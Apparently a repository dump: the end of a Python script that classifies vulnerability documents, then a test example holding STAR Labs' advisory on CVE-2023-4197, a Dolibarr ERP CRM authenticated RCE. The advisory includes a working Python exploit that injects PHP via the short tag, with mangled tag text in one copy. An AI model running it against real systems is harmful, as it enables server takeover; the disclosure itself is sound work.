json_out_later["is_explain"]=="FALSE"
if related_vote >= 2:
json_out_later['is_related'] = "FALSE"
else:
json_out_later['is_related'] = "TRUE"
sink_list = sink_str.split(';')
print("json",json_out_former,json_out_later)
csv_row=[]
#output
if json_out_later['is_related']=="FALSE":
csv_row=[file,"NULL","NULL","NULL","NULL","NULL","NULL","NULL"]
else:
#csv_row.append(file)
csv_row.append(json_out_former["cve"])
csv_row.append(json_out_former["vendor"])
if json_out_former["trace_language"] != "NULL" and json_out_former["trace_language"] != json_out_former["language"]:
csv_row.append(json_out_former["trace_language"])
else:
csv_row.append(json_out_former["language"])
csv_row.append(json_out_former["is_cause"].upper())
if json_out_former["function"] in sink_list and json_out_former["function"] in result_string:
csv_row.append(json_out_former["function"])
else:
csv_row.append("NULL")
csv_row.append(json_out_later["is_POC"].upper())
csv_row.append(json_out_later["is_explain"].upper())
if json_out_former["cve"]=='NULL' and json_out_former["vendor"]=='NULL' and json_out_former["is_cause"]=='FALSE' and json_out_later["is_POC"]=="FALSE":
csv_row=[file,"NULL","NULL","NULL","NULL","NULL","NULL","NULL"]
writer.writerow(csv_row)
fout.flush()
except Exception as e:
print("analysing file error",e)
fout.close()
if __name__ == '__main__':
vote_ask(data_dir, answer_dir)
================================================
FILE: task1_source_code/test_examples/200
================================================
================================================
FILE: task1_source_code/test_examples/201
================================================
<!DOCTYPE html>
<html lang="en" dir="auto">
<head><meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="index, follow">
<title>(CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE | STAR Labs</title>
<meta name="keywords" content="">
<meta name="description" content="Summary: Product Dolibarr ERP CRM Vendor Dolibarr Severity High Affected Versions <= 18.0.1 Tested Versions 17.0.1, 18.0.1 CVE Identifier CVE-2023-4197 CVE Description Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.">
<meta name="author" content="Poh Jia Hao (@Chocologicall)">
<link rel="canonical" href="https://starlabs.sg/advisories/23/23-4197/">
<link crossorigin="anonymous" href="/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css" integrity="sha256-7I2jZsovtkdTfMt6j2+ltOnNPHoNMXHdLTuq0eSci/w=" rel="preload stylesheet" as="style">
<script defer crossorigin="anonymous" src="/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js" integrity="sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8="
onload="hljs.initHighlightingOnLoad();"></script>
<link rel="icon" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="16x16" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://starlabs.sg/logo-white.png">
<link rel="apple-touch-icon" href="https://starlabs.sg/logo-white.png">
<link rel="mask-icon" href="https://starlabs.sg/logo-white.png">
<meta name="theme-color" content="#2e2e33">
<meta name="msapplication-TileColor" content="#2e2e33">
<noscript>
<style>
#theme-toggle,
.top-link {
display: none;
}
</style>
</noscript>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ"></script>
<script>
var doNotTrack = false;
if (!doNotTrack) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });
}
</script>
<meta property="og:title" content="(CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE" />
<meta property="og:description" content="Summary: Product Dolibarr ERP CRM Vendor Dolibarr Severity High Affected Versions <= 18.0.1 Tested Versions 17.0.1, 18.0.1 CVE Identifier CVE-2023-4197 CVE Description Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://starlabs.sg/advisories/23/23-4197/" /><meta property="og:image" content="https://starlabs.sg/logo-white.png"/><meta property="article:section" content="advisories" />
<meta property="article:published_time" content="2023-10-11T00:00:00+00:00" />
<meta property="article:modified_time" content="2023-10-11T00:00:00+00:00" /><meta property="og:site_name" content="STAR Labs" />
<meta name="twitter:card" content="summary_large_image"/>
<meta name="twitter:image" content="https://starlabs.sg/logo-white.png"/>
<meta name="twitter:title" content="(CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE"/>
<meta name="twitter:description" content="Summary: Product Dolibarr ERP CRM Vendor Dolibarr Severity High Affected Versions <= 18.0.1 Tested Versions 17.0.1, 18.0.1 CVE Identifier CVE-2023-4197 CVE Description Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code."/>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BreadcrumbList",
"itemListElement": [
{
"@type": "ListItem",
"position": 1 ,
"name": "Advisories",
"item": "https://starlabs.sg/advisories/"
},
{
"@type": "ListItem",
"position": 2 ,
"name": "(CVE-2023-4197) Dolibarr ERP CRM (\u003c= 18.0.1) Improper Input Sanitization Authenticated RCE",
"item": "https://starlabs.sg/advisories/23/23-4197/"
}
]
}
</script>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BlogPosting",
"headline": "(CVE-2023-4197) Dolibarr ERP CRM (",
"name": "(CVE-2023-4197) Dolibarr ERP CRM (",
"description": "Summary: Product Dolibarr ERP CRM Vendor Dolibarr Severity High Affected Versions \u0026lt;= 18.0.1 Tested Versions 17.0.1, 18.0.1 CVE Identifier CVE-2023-4197 CVE Description Improper input validation in Dolibarr ERP CRM \u0026lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.",
"keywords": [
],
"articleBody": "Summary: Product Dolibarr ERP CRM Vendor Dolibarr Severity High Affected Versions Tested Versions 17.0.1, 18.0.1 CVE Identifier CVE-2023-4197 CVE Description Improper input validation in Dolibarr ERP CRM CWE Classification(s) CWE-20: Improper Input Validation CAPEC Classification(s) CAPEC-248 Command Injection CAPEC-153: Input Data Manipulation CVSS3.1 Scoring System: Base Score: 7.5 (High)\nVector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n Metric Value Attack Vector (AV) Network Attack Complexity (AC) High Privileges Required (PR) Low User Interaction (UI) None Scope (S) Unchanged Confidentiality (C) High Integrity (I) High Availability (A) High Product Overview: Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.\nDolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.\nVulnerability Summary: Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for and , allowing usage of the short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.\nVulnerability Details: There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.\nThe vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.\n/core/lib/website.lib.php: php function dolKeepOnlyPhpCode($str) { $str = str_replace(', ', $str); $newstr = ''; // Split on each opening tag //$parts = explode(' $parts = preg_split('/'.preg_quote(', '/').'/i', $str); if (!empty($parts)) { $i = 0; foreach ($parts as $part) { if ($i == 0) { // The first part is never php code $i++; continue; } $newstr .= '; //split on closing tag $partlings = explode('?', $part, 2); if (!empty($partlings)) { $newstr .= $partlings[0].'?'; } else { $newstr .= $part.'?'; } } } return $newstr; } This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of with and subsequently all tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.\nIn order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:\nExploit Conditions: This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:\n# Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) # Via: https://TARGET_HOST/website/index.php # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.) #!/usr/bin/env python3 import os import re import requests import sys import uuid requests.packages.urllib3.disable_warnings() s = requests.Session() def check_args(): global target, username, password, cmd print(\"\\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\\n\") if len(sys.argv) != 5: print(\"[!] Please enter the required arguments like so: python3 {}https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE\".format(sys.argv[0])) sys.exit(1) target = sys.argv[1].strip(\"/\") username = sys.argv[2] password = sys.argv[3] cmd = sys.argv[4] def authenticate(): global s, csrf_token print(\"[+] Attempting to authenticate...\") # GET the CSRF token res = s.get(f\"{target}/\", verify=False) csrf_token = re.search(\"\\\"anti-csrf-newtoken\\\"content=\\\"(.+)\\\"\", res.text).group(1).strip() # Login data = { \"token\": csrf_token, \"username\": username, \"password\": password, \"actionlogin\": \"login\" } res = s.post(f\"{target}/\", data=data, verify=False) if \"Logout\" not in res.text: print(\"[!] Authentication failed! Are the credentials valid?\") sys.exit(1) else: print(\"[+] Authenticated successfully!\") def rce(): # Create web site print(\"[+] Attempting to create a website...\") website_name = uuid.uuid4().hex data = { \"WEBSITE_REF\": website_name, \"token\": csrf_token, \"action\": \"addsite\", \"WEBSITE_LANG\": \"en\", \"addcontainer\": \"create\" } res = s.post(f\"{target}/website/index.php\", data=data, verify=False) if f\"Website - {website_name}\" not in res.text: print(\"[!] Website creation failed!\") sys.exit(1) else: print(f\"[+] Created website name: \\\"{website_name}\\\"!\") # Create web page print(\"[+] Attempting to create a web page...\") webpage_name = uuid.uuid4().hex data = { \"website\": website_name, \"token\": csrf_token, \"action\": \"addcontainer\", \"WEBSITE_TYPE_CONTAINER\": \"page\", \"WEBSITE_TITLE\": \"x\", \"WEBSITE_PAGENAME\": webpage_name } res = s.post(f\"{target}/website/index.php\", data=data, verify=False) if f\"Contenair \\\\'{webpage_name}\\\\' added\" not in res.text: print(\"[!] Web page creation failed!\") sys.exit(1) else: print(f\"[+] Created web page name: \\\"{webpage_name}\\\"!\") # Modify created page print(\"[+] Attempting to modify the web page...\") webpage_id = re.search(f\"\\\"(.+)\\\".+{webpage_name}\", res.text).group(1).strip() data = { \"website\": website_name, \"WEBSITE_PAGENAME\": webpage_name, \"pageid\": webpage_id, \"token\": csrf_token, \"action\": \"updatemeta\", \"htmlheader\": f\"{cmd}'); ?\" } res = s.post(f\"{target}/website/index.php\", data=data, verify=False) if \"Saved\" not in res.text: print(\"[!] Web page modification failed!\") sys.exit(1) else: print(\"[+] Web page modified successfully!\") # Trigger RCE print(f\"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}\u0026pageref={webpage_name}\") res = s.get(f\"{target}/public/website/index.php?website={website_name}\u0026pageref={webpage_name}\", verify=False) if res.status_code != 200: print(\"[!] Web page is not reachable!\") sys.exit(1) else: output = re.findall(\"block --\\n(.+)\", res.text, re.MULTILINE | re.DOTALL)[0].strip() print(f\"[+] RCE successful! Output of command:\\n\\n{output}\") def main(): check_args() authenticate() rce() if __name__ == \"__main__\": main() Suggested Mitigations: Update the Dolibarr installation to the latest version as shown from the official repository releases page.\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing tags, and further inspecting the code contained within.\nCredits: Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\nTimeline: 2023-09-04 Reported vulnerability to Dolibarr owner 2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release 2023-10-11 New version containing patch released 2023-11-01 Public Release ",
"wordCount" : "1125",
"inLanguage": "en",
"datePublished": "2023-10-11T00:00:00Z",
"dateModified": "2023-10-11T00:00:00Z",
"author":{
"@type": "Person",
"name": "Poh Jia Hao (@Chocologicall)"
},
"mainEntityOfPage": {
"@type": "WebPage",
"@id": "https://starlabs.sg/advisories/23/23-4197/"
},
"publisher": {
"@type": "Organization",
"name": "STAR Labs",
"logo": {
"@type": "ImageObject",
"url": "https://starlabs.sg/logo-white.png"
}
}
}
</script>
</head>
<body class=" dark" id="top">
<header class="header">
<nav class="nav">
<div class="logo">
<a href="https://starlabs.sg/" accesskey="h" title=" (Alt + H)">
<img src="https://starlabs.sg/logo-white.png" alt="logo" aria-label="logo"
height="35"> </a>
<span class="logo-switches">
</span>
</div>
<ul id="menu">
<li>
<a href="https://starlabs.sg/" title="Home">
<span>Home</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/about/" title="About">
<span>About</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/advisories/" title="Advisories">
<span>Advisories</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/blog/" title="Blog">
<span>Blog</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/achievements/" title="Achievements">
<span>Achievements</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/publications/" title="Publications">
<span>Publications</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/search/" title="Search (Alt + /)" accesskey=/>
<span>Search</span>
</a>
</li>
</ul>
</nav>
</header>
<main class="main">
<article class="post-single">
<header class="post-header">
<div class="breadcrumbs"><a href="https://starlabs.sg/">Home</a> » <a href="https://starlabs.sg/advisories/">Advisories</a></div>
<h1 class="post-title">
(CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE
</h1>
<div class="post-meta"><span title='2023-10-11 00:00:00 +0000 UTC'>October 11, 2023</span> · 6 min · Poh Jia Hao (@Chocologicall)
</div>
</header> <div class="toc">
<details >
<summary accesskey="c" title="(Alt + C)">
<span class="details">Table of Contents</span>
</summary>
<div class="inner"><ul>
<li>
<a href="#summary" aria-label="Summary:">Summary:</a></li>
<li>
<a href="#cvss31-scoring-system" aria-label="CVSS3.1 Scoring System:">CVSS3.1 Scoring System:</a></li>
<li>
<a href="#product-overview" aria-label="Product Overview:">Product Overview:</a></li>
<li>
<a href="#vulnerability-summary" aria-label="Vulnerability Summary:">Vulnerability Summary:</a></li>
<li>
<a href="#vulnerability-details" aria-label="Vulnerability Details:">Vulnerability Details:</a></li>
<li>
<a href="#exploit-conditions" aria-label="Exploit Conditions:">Exploit Conditions:</a></li>
<li>
<a href="#proof-of-concept" aria-label="Proof-of-Concept:">Proof-of-Concept:</a></li>
<li>
<a href="#suggested-mitigations" aria-label="Suggested Mitigations:">Suggested Mitigations:</a></li>
<li>
<a href="#detection-guidance" aria-label="Detection Guidance:">Detection Guidance:</a></li>
<li>
<a href="#credits" aria-label="Credits:">Credits:</a></li>
<li>
<a href="#timeline" aria-label="Timeline:">Timeline:</a>
</li>
</ul>
</div>
</details>
</div>
<div class="post-content"><h2 id="summary">Summary:<a hidden class="anchor" aria-hidden="true" href="#summary">#</a></h2>
<table>
<thead>
<tr>
<th><strong>Product</strong></th>
<th>Dolibarr ERP CRM</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Vendor</strong></td>
<td>Dolibarr</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Affected Versions</strong></td>
<td><= 18.0.1</td>
</tr>
<tr>
<td><strong>Tested Versions</strong></td>
<td>17.0.1, 18.0.1</td>
</tr>
<tr>
<td><strong>CVE Identifier</strong></td>
<td>CVE-2023-4197</td>
</tr>
<tr>
<td><strong>CVE Description</strong></td>
<td>Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.</td>
</tr>
<tr>
<td><strong>CWE Classification(s)</strong></td>
<td>CWE-20: Improper Input Validation</td>
</tr>
<tr>
<td><strong>CAPEC Classification(s)</strong></td>
<td>CAPEC-248 Command Injection <!-- raw HTML omitted --> CAPEC-153: Input Data Manipulation</td>
</tr>
</tbody>
</table>
<h2 id="cvss31-scoring-system">CVSS3.1 Scoring System:<a hidden class="anchor" aria-hidden="true" href="#cvss31-scoring-system">#</a></h2>
<p><strong>Base Score:</strong> 7.5 (High)<br>
<strong>Vector String:</strong> <code>CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</code></p>
<table>
<thead>
<tr>
<th><strong>Metric</strong></th>
<th><strong>Value</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Attack Vector (AV)</strong></td>
<td>Network</td>
</tr>
<tr>
<td><strong>Attack Complexity (AC)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Privileges Required (PR)</strong></td>
<td>Low</td>
</tr>
<tr>
<td><strong>User Interaction (UI)</strong></td>
<td>None</td>
</tr>
<tr>
<td><strong>Scope (S)</strong></td>
<td>Unchanged</td>
</tr>
<tr>
<td><strong>Confidentiality (C)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Integrity (I)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Availability (A)</strong></td>
<td>High</td>
</tr>
</tbody>
</table>
<h2 id="product-overview">Product Overview:<a hidden class="anchor" aria-hidden="true" href="#product-overview">#</a></h2>
<p>Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.</p>
<p>Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.</p>
<h2 id="vulnerability-summary">Vulnerability Summary:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-summary">#</a></h2>
<p>Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <code><?php</code> and <code><?=</code>, allowing usage of the <code><?</code> short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.</p>
<h2 id="vulnerability-details">Vulnerability Details:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-details">#</a></h2>
<p>There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.</p>
<p>The vulnerable code can be found in the function <code>dolKeepOnlyPhpCode()</code>, inside the <code>/core/lib/website.lib.php</code> file. where no checking for the <code><?</code> tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">/</span><span class="nx">core</span><span class="o">/</span><span class="nx">lib</span><span class="o">/</span><span class="nx">website</span><span class="o">.</span><span class="nx">lib</span><span class="o">.</span><span class="nx">php</span><span class="o">:</span>
</span></span><span class="line"><span class="cl"><span class="o"><?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">dolKeepOnlyPhpCode</span><span class="p">(</span><span class="nv">$str</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$str</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">(</span><span class="s1">'<?='</span><span class="p">,</span> <span class="s1">'<?php'</span><span class="p">,</span> <span class="nv">$str</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$newstr</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Split on each opening tag
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="c1">//$parts = explode('<?php', $str);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nv">$parts</span> <span class="o">=</span> <span class="nx">preg_split</span><span class="p">(</span><span class="s1">'/'</span><span class="o">.</span><span class="nx">preg_quote</span><span class="p">(</span><span class="s1">'<?php'</span><span class="p">,</span> <span class="s1">'/'</span><span class="p">)</span><span class="o">.</span><span class="s1">'/i'</span><span class="p">,</span> <span class="nv">$str</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$parts</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$parts</span> <span class="k">as</span> <span class="nv">$part</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// The first part is never php code
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nv">$i</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$newstr</span> <span class="o">.=</span> <span class="s1">'<?php'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//split on closing tag
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nv">$partlings</span> <span class="o">=</span> <span class="nx">explode</span><span class="p">(</span><span class="s1">'?>'</span><span class="p">,</span> <span class="nv">$part</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$partlings</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$newstr</span> <span class="o">.=</span> <span class="nv">$partlings</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="s1">'?>'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$newstr</span> <span class="o">.=</span> <span class="nv">$part</span><span class="o">.</span><span class="s1">'?>'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nv">$newstr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <code><?=</code> with <code><?php</code> and subsequently all <code><?php</code> tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.</p>
<p>In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <code><?</code> tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. <code>system()</code>). After the web page is modified successfully, previewing the updated page would trigger the RCE:</p>
<p><img loading="lazy" src="/advisories/23/images/CVE-2023-4197_01.RCE.png" alt="" />
</p>
<h2 id="exploit-conditions">Exploit Conditions:<a hidden class="anchor" aria-hidden="true" href="#exploit-conditions">#</a></h2>
<p>This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.</p>
<h2 id="proof-of-concept">Proof-of-Concept:<a hidden class="anchor" aria-hidden="true" href="#proof-of-concept">#</a></h2>
<p>We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="c1"># Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Via: https://TARGET_HOST/website/index.php</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">uuid</span>
</span></span><span class="line"><span class="cl"><span class="n">requests</span><span class="o">.</span><span class="n">packages</span><span class="o">.</span><span class="n">urllib3</span><span class="o">.</span><span class="n">disable_warnings</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">check_args</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="k">global</span> <span class="n">target</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">cmd</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">5</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Please enter the required arguments like so: python3 </span><span class="si">{}</span><span class="s2"> https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">target</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">"/"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"> <span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"> <span class="n">cmd</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">authenticate</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="k">global</span> <span class="n">s</span><span class="p">,</span> <span class="n">csrf_token</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to authenticate..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># GET the CSRF token</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/"</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
